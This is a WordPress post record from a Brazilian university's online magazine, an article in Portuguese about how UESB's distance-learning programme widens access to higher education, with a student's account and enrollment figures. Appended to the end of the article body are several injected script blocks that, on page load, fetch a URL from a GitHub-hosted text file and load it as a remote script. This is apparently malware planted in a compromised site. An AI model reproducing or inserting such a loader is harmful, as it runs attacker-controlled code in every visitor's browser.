{"id":4819,"date":"2023-08-16T14:35:09","date_gmt":"2023-08-16T17:35:09","guid":{"rendered":"http:\/\/www2.uesb.br\/revistaeletronica\/?p=4819"},"modified":"2024-11-10T01:45:15","modified_gmt":"2024-11-10T04:45:15","slug":"a-democratizacao-do-conhecimento-no-ensino-a-distancia-da-uesb","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/revistaeletronica\/a-democratizacao-do-conhecimento-no-ensino-a-distancia-da-uesb\/","title":{"rendered":"A democratiza\u00e7\u00e3o do conhecimento no Ensino a Dist\u00e2ncia da Uesb"},"content":{"rendered":"<div id=\"attachment_4849\" class=\"wp-caption aligncenter\" ><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4849 size-full img-fluid\" src=\"http:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/06\/EaD-editada-2.jpg\" alt=\"\" width=\"1140\" height=\"594\" srcset=\"https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/06\/EaD-editada-2.jpg 1140w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/06\/EaD-editada-2-300x156.jpg 300w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/06\/EaD-editada-2-1024x534.jpg 1024w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/06\/EaD-editada-2-768x400.jpg 768w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/06\/EaD-editada-2-180x94.jpg 180w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/06\/EaD-editada-2-660x344.jpg 660w\" sizes=\"auto, (max-width: 1140px) 100vw, 1140px\" \/><p class=\"wp-caption-text\">Com a instaura\u00e7\u00e3o da EaD, o pa\u00eds pode proporcionar a democratiza\u00e7\u00e3o do ensino superior.<\/p><\/div>\n<p>O Ensino \u00e0 Dist\u00e2ncia (EaD) oferecido pela Uesb tem desempenhado um papel importante na democratiza\u00e7\u00e3o do acesso ao conhecimento e na capacita\u00e7\u00e3o de professores. O mundo globalizado possibilitou avan\u00e7os no modo como as sociedades se relacionam e o acesso \u00e0s tecnologias digitais causou mudan\u00e7as tamb\u00e9m no modo como se transmite a educa\u00e7\u00e3o.<\/p>\n<p>Embora a era digital seja um evento recente, o conceito de EaD \u00e9 datado, no Brasil, desde 1904, quando, atrav\u00e9s das chamadas escolas internacionais, eram oferecidos cursos por correspond\u00eancia. No pa\u00eds, a Lei n\u00ba 9.394\/96, instaurada em 1996, tornou oficial o EaD para todos os n\u00edveis de ensino. A modalidade foi capaz de proporcionar a democratiza\u00e7\u00e3o ao conhecimento.<\/p>\n<h6 class=\"bloco_direita\">O EaD oferecido pela Uesb tem desempenhado um papel importante na democratiza\u00e7\u00e3o do acesso ao conhecimento e na capacita\u00e7\u00e3o de professores.<\/h6>\n<p>Na Uesb, a Coordena\u00e7\u00e3o de Educa\u00e7\u00e3o, respons\u00e1vel pelo sistema EaD nos campi, tem como finalidade o aux\u00edlio no desenvolvimento das atividades educativas a dist\u00e2ncia, presencial e semipresencial em diversas reas do conhecimento. \u00a0Para o Coordenador Administrativo EaD\/UESB e Coordenador Geral Universidade Aberta do Brasil (UAB\/UESB), Jos\u00e9 Carlos Martins Oliveira, o ensino a dist\u00e2ncia proporciona uma importante caracter\u00edstica distinta do modelo presencial: a flexibilidade.<\/p>\n<p>Nessa modalidade, o discente pode definir o seu hor\u00e1rio de estudo de acordo com a sua rotina; comodidade e seguran\u00e7a, e o estudante n\u00e3o precisa sair de casa para assistir \u00e0s aulas. Outra caracter\u00edstica \u00e9 que o modelo semipresencial contribui com uma economia para o aluno no gasto com deslocamento. Estudantes de zonas rurais, por exemplo, passaram a ter a oportunidade de acessar o conte\u00fado presente em institui\u00e7\u00f5es de ensino das cidades.<\/p>\n<p>O aumento de ingressantes no Ensino a Dist\u00e2ncia, entre 2011 a 2021 foi de 471%, segundo dados do Instituto Nacional de Estudos e Pesquisas Educacionais An\u00edsio Teixeira (Inep). Isso explica as possibilidades da flexibilidade do EAD, o que reflete na vida de alguns discentes. Estudante do curso de Licenciatura em Matem\u00e1tica, Cananda Brito \u00e9 um desses exemplos. Em um breve relato sobre a sua hist\u00f3ria e as motiva\u00e7\u00f5es para realizar o curso, a aluna revelou que sempre foi uma amante dos n\u00fameros, desde o Ensino Fundamental, e que o costume em ensinar os colegas foi um dos principais agentes motivadores para trabalhar em sala de aula.<\/p>\n<div id=\"attachment_4850\" class=\"wp-caption aligncenter\" ><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-4850 size-full img-fluid\" src=\"http:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/08\/EaD-Editada.jpg\" alt=\"\" width=\"1140\" height=\"760\" srcset=\"https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/08\/EaD-Editada.jpg 1140w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/08\/EaD-Editada-300x200.jpg 300w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/08\/EaD-Editada-1024x683.jpg 1024w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/08\/EaD-Editada-768x512.jpg 768w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/08\/EaD-Editada-180x120.jpg 180w, https:\/\/www2.uesb.br\/revistaeletronica\/wp-content\/uploads\/2023\/08\/EaD-Editada-516x344.jpg 516w\" sizes=\"auto, (max-width: 1140px) 100vw, 1140px\" \/><p class=\"wp-caption-text\">Com o Ensino \u00e0 Dist\u00e2ncia (EaD), Cananda Brito pode concluir o curso superior de Licenciatura em Matem\u00e1tica e trabalhar ao mesmo tempo.<\/p><\/div>\n<p>Cananda tamb\u00e9m acredita que a possibilidade do Ensino a Dist\u00e2ncia facilita para conciliar os estudos com o pr\u00f3prio trabalho, al\u00e9m de realizar um sonho em estudar na Uesb. Ela explica que trabalha oito horas por dia. \u201cSe eu fosse fazer presencial, eu teria que largar o meu trabalho. Ent\u00e3o, como eu fa\u00e7o o EaD, eu posso trabalhar e realizar um sonho. Hoje, eu realizo um sonho, que \u00e9 fazer Uesb\u201d, explicou.<\/p>\n<h6>\u201cSe eu fosse fazer presencial, eu teria que largar o meu trabalho&#8221;, explica Cananda.<\/h6>\n<p>Coordenador e professor do curso de Licenciatura em Pedagogia, Wermerson Meira, que est\u00e1 \u00e0 frente do curso de Pedagogia EaD, desde 2016, afirmou que as turmas v\u00eam avan\u00e7ando quantitativamente. \u201cN\u00f3s j\u00e1 conclu\u00edmos uma turma em 2020 com 27 alunos. A entrada era 40, ent\u00e3o, n\u00f3s conseguimos ultrapassar a metade, 50% de aprovados.\u201d No mesmo per\u00edodo foi ofertado o curso de Pedagogia em mais oito polos e atualmente s\u00e3o 162 discentes que est\u00e3o ativos no curso.<\/p>\n<p>Para aqueles que possuem o interesse na modalidade EaD, os candidatos devem aguardar a publica\u00e7\u00e3o de um edital pr\u00f3prio para o processo seletivo dos seguintes cursos: licenciatura para docentes do ensino b\u00e1sico, que n\u00e3o possuem forma\u00e7\u00e3o superior; segunda licenciatura, destinada aqueles que possuem licenciatura em \u00e1rea distinta de sua atua\u00e7\u00e3o em sala de aula; forma\u00e7\u00e3o pedag\u00f3gica, para professores da rede p\u00fablica de educa\u00e7\u00e3o b\u00e1sica que possuem curso superior, sem habilita\u00e7\u00e3o em licenciatura.<\/p>\n<p>O crescimento do Ensino Semipresencial tem contribu\u00eddo para o acesso \u00e0 educa\u00e7\u00e3o superior no Brasil, permitindo que mais pessoas tenham a oportunidade de se capacitar e se qualificar. Na Uesb, essa modalidade educacional tem se mostrado uma ferramenta importante para a democratiza\u00e7\u00e3o do conhecimento e a forma\u00e7\u00e3o de professores, contribuindo para o desenvolvimento educacional do pa\u00eds.<\/p>\n<p>Informa\u00e7\u00f5es sobre essa modalidade na Uesb, pode ser obtida<a href=\"http:\/\/www2.uesb.br\/ead\/\"> aqui.\u00a0<\/a><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 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